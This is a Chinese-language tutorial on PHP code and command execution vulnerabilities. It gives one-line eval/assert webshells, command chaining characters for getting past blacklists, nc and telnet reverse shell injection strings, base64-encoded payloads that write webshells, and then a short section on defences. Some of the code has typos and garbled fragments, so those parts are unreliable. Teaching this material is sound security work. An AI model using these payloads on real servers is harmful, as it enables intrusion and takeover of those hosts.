原因:

危害:
    1.继承Web服务程序的权限去执行系统命令或读写文件
    2.反弹shell获得目标服务器的权限
    3.进—步内网渗透
分类:
    远程代码执行:
        在PHP中有时需要调用一些执行命令的函数﹐如:eval(),assert(),preg_replace(),create_function()等,如果存在一个使用这些函数且未对可被用户控制的参数进行检查过滤的页面,那么这个页面就可能存在远程代码执行漏洞。
​
        1、eval()函数:
            eval ( string $code )把字符串code 作为PHP代码执行 <?php @eval($_POST[ 'cmd']);?>
            注意:
                eval()函数传入的参数必须为PHP代码即要以分号结尾;函数eval()语言结构是非常危险的因为它允许执行任意PHP代码不要允许传入任何由用户提供的未经完整验证过的数据。
​
        2、assert()函数:
            assert ( mixed $assertion [string $description ])
            检查一个断言是否为FALSE﹐如果assertion是字符串﹐它将会被assert()当做PHP代码来执行
            <?php @assert($_POST[ 'cmd'])?>
            注意:
                assert()函数是直接讲传入的参数当成PHP代码执行﹐不需要以分号结尾
​
        3、preg_replace()函数:
            preg_replace (mixed $pattern , mixed Sreplacement,mixed $subject [int $limit =-1 [, int &$count])
            执行一个正则表达式的搜索和替换﹐搜索subject中匹配pattern的部分﹐以replacement进行替换
            <?php preg_replace(" /test/e",$_POST["cmd"],"just test");?>
            preg_replace('正则规则','替换字符’·'目标字符')
            PCRE修饰符 e : preq_replace()在进行了对替换字符串的后向引用替换之后,将替换后的字符串作为php代码评估执行(eval函数方式)并使用执行结果作为实际参与替换的字符串。
            (7.0.0 不再支持/e修饰符,请用preg_replace_callback()代替。5.5.0,/e修饰符已经被弃用了,使用preg_replace_caliback()代替)
​
        4、array_map()函数
            array_map ( callable $callback , array $array1 [, array $... ] )
            array_map(): 返回数组﹐是为array1每个元素应用callback函数之后的数组,callback函数形参的数量和传给
            array_map()数组数量﹐两者必须一样为数组的每个元素应用回调函数。

            <?php
            $func=$_GET['func'];
            $cmd=$_POST['cmd'];$array[0]=$cmd;
            $new_array=array_map($func,$array);
            echo $new_array,
            ?>
​
        5、create_function()函数
            create_function (string $args , string $code)
            从传递的参数创建一个匿名函数﹐并为其返回唯一的名称
            通常这些参数将作为单引号分隔的字符串传递使用单引号的原因是为了保护变量名不被解析﹐否则﹐如果使用双引号﹐就需要转义变量名例如\$avar
​
            <?php
            $func = create_function(",$_POST[ 'cmd']);
            $func();
            ?>
​
       6、call_user_func()函数
            call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]])
​
            第一个参数callback是被调用的回调函数﹐其余参数是回调函数的参数把第一个参数作为回调函数调用。
            <?php
            call_user_func("assert",$_POST[ 'cmd']);
            //传入的参数作为assert函数的参数
            //cmd=system(whoami)
            ?>
​
        7、array_filter()函数
            array_filter ( array $array [, callable $callback [, int $flag = 0 ]])
            用回调函数过滤数组中的单元依次将array数组中的每个值传递到callback函数
            <?php
            $cmd=$_POST['cmd'];
            $array1=array($cmd);
            $func =$_GET['func'];
            array_filter($array1,$func);
            //用回调函数过滤数组中的元素: array_filter(数组,函数)/ / ?func=system //cmd=whoami
            ?>
​
        8、双引号
            <?php
            // echo "phpinfo()";
            echo "{${phpinfo()J}";
            ?>
​
            在php中双引号里面如果包含有变量﹐php解释器会将其替换为变量解释后的结果, 单引号中的变量不会被处理,双引号中的函数不会被执行和替换

二、远程系统命令执行:

利用PHP的系统命令执行函数来调用系统命令并执行﹐这类函数有system(),exec(),shell_exec()
​
passthru(),penti_exec(),popen(),proc_pen()等﹐此外还有反引号命令执行,这种方式实际上是调用shell_exec()函数来执行。
​
system():执行外部程序,并且显示输出
​
exec():执行一个外部程序
​
shell_exec():通过shell环境执行命令,并且将完整的输出以字符串的方式返回
​
passthru():执行unix系统命令并且显示原始输出
​
pcntl_exec():在当前进程空间执行指定程序
​
popen():打开进程文件指针
​
proc_open():执行一个命令并且打开用来输入/输出的文件指针
​
相应函数:
​
    1、exec()函数
        exec(string $command [, array &$output [, int &$return_var]])
        执行一个外部程序·exec()执行command参数所指定的命令,
        exec执行系统外部命令时不会输出结果﹐而是返回结果的最后一行如果想得到结果﹐
        可以使用第二个参数﹐让其输出到指定的数组, 此数组一个记录代表输出的一行
        <?php
            $cmd = $_POST['cmd'];
            @exec($cmd, $return);
            var_dump($return);
        ?>
​
    2、system()函数
        system(string $command [ int 2$return_var ])
        函数执行command参数所指定的命令并且输出执行结果
        system和exec的区别在于system抵执行系统外部命令时
        直接将结果输出到浏览器,如果执行命令成功则返回true,否则返回false。
​
    3、passthru函数
        passthru (string $command [,int &$return_var ])
        执行外部程序并且显示原始输出﹐同exec()函数类似﹐passthru()函数也是用来执行外部命令(command)的
        当所执行的Unix命令输出二进制数据﹐并且需要直接传送到浏览器的时候﹐需要用此函数来替代exec()或system()函数
        passthru与system的区别: passthru直接将结果输出到浏览器不返回任何值,且其可以输出二进制比如图像数据,第二个参数可选,是状态码
​
        <?php
        $output = passthru("ls -la");
        echo "<pre>$output</pre>";
        ?>
​
    4、shell_exec函数
        shell_exec(string $cmd)
        通过shell环境执行命令并且将完整的输出以字符串的方式返回·
        本函数同执行操作符(`)
        <?php
        $output = shell_exec('ls -lart');
        echo " <pre>$output</pre>";
        ?>
​
    5、命令执行常用特殊字符
        cmd1|cmd2: 无论cmd1足否执行成功cmd2将被执行
        cmd1;cmd2: 无论cmd1是否执行成功cmd2将被执行
        cmd1||cmd2: 仅在cmd1技行失败时才执行cmd2
        cmd1&&cmd2: 仅在cmd1执行成功后时才执行
        cmd2$(cmd): echo $(whoami) 或者 $(touch test.sh; echo 'ls' > test.sh)
        'cmd':用于执行特定命令﹐如‘whoami '
        >(cmd): <(ls)
        <(cmd): >(ls)
​
命令拼接的方式绕过黑名单,执行远程系统命令。

php命令执行反弹shell:
    nc执行反弹shell :
        127.0.0.1,mkfifo /tmp/pipe;sh /tmp/pipe | nc -nip 4444 >/tmp/pipe
​
    telnet反弹shell :
        127.0.0.1,rm -f a;mknod a p;telnet 172.26.1.156 6666 0<a | /bin/bash 1>a
​
php通过命令执行来写shell:
​
    127.0.0.1 | echo "<?php @eval($_POST['cmd']);?>">1.php
    127.0.0.1 | echo "<?php ($_=@$_GET[2]).@s_($_POST[1])?>">3.php
    fputs(fopen("a.php" ,"w"), '<?php eval($_POST["cmd"])?>');
    1、进行ASCII编码
    2、进行base64编码
    编码 : base64编码
        fouts(fopen(base64_decode(YWJhYmEucGhw),w),base64_decode(PD9waHAgZnB1dHMoZm9wZW4olmEucGhwliwidylpLCc8P3BocCBldmFsKCRfUE9TVFsiY21kllOpPz4nKTs))
​
    注意: post参数中不能出现<,>,+,/,= 等字符﹐通过二次base64编码去除=字符

三、命令执行漏洞的防护:

1、禁用高危系统函数: phpinfo() eval() passthru() chroot() scandir() chgrp() chown() shell_exec() proc_open() proc_get_status() ini_alter() ini_alter() ini_restore() dl() pfsockopen() openlog() syslog() readlink()symlink() popepassthru() stream_socket_server() fsocket() fsockopen()

    在php安装目录中找到php配置文件php.ini 找到disable_functions 在后面添加禁用的函数名﹐函数名之间以英文逗号分隔
​
2、严格过滤特殊字符:
​
3、开启safe_mode:(php安全模式)

更多推荐